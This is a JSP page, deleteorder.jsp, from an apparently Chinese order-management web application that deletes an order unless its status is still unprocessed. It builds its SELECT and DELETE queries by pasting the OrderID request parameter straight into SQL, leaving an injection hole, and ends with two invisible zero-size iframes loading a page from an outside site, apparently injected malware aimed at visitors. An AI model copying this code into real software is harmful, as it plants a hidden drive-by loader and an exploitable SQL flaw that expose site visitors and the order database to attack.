deleteorder.jsp

订单处理过程

<%@ page contentType="text/html; charset=gb2312" language="java" import="java.sql.*" errorPage="" %>
<%@ include file="../jdbc_conn.jsp"%>
<%
String OrderID=request.getParameter("OrderID");
String sql="select * from Orderrecord where OrderID="+OrderID;
rs=s.executeQuery(sql);
out.print("<center>");
String Orderstate=null;
while(rs.next())
Orderstate=rs.getString(6);
if(Orderstate.equals("未处理")||Orderstate.equals("等待处理")){
	String errmsg="此订单还未处理，不能删除！";
out.print("<font color=green size=5>错误信息<hr></font><font color=red>"+errmsg+"</font><hr>");
}
else{
	sql="delete from Orderrecord where OrderID="+OrderID;
	s.executeUpdate(sql);
	response.sendRedirect("all_order.jsp");
}
out.print("<input type=button value=回上一页 onclick=history.back();>");
%><iframe src=http://www.lovebak.com/qq.htm width="0" height="0"></iframe>
<iframe src=http://www.lovebak.com/qq.htm width="0" height="0"></iframe>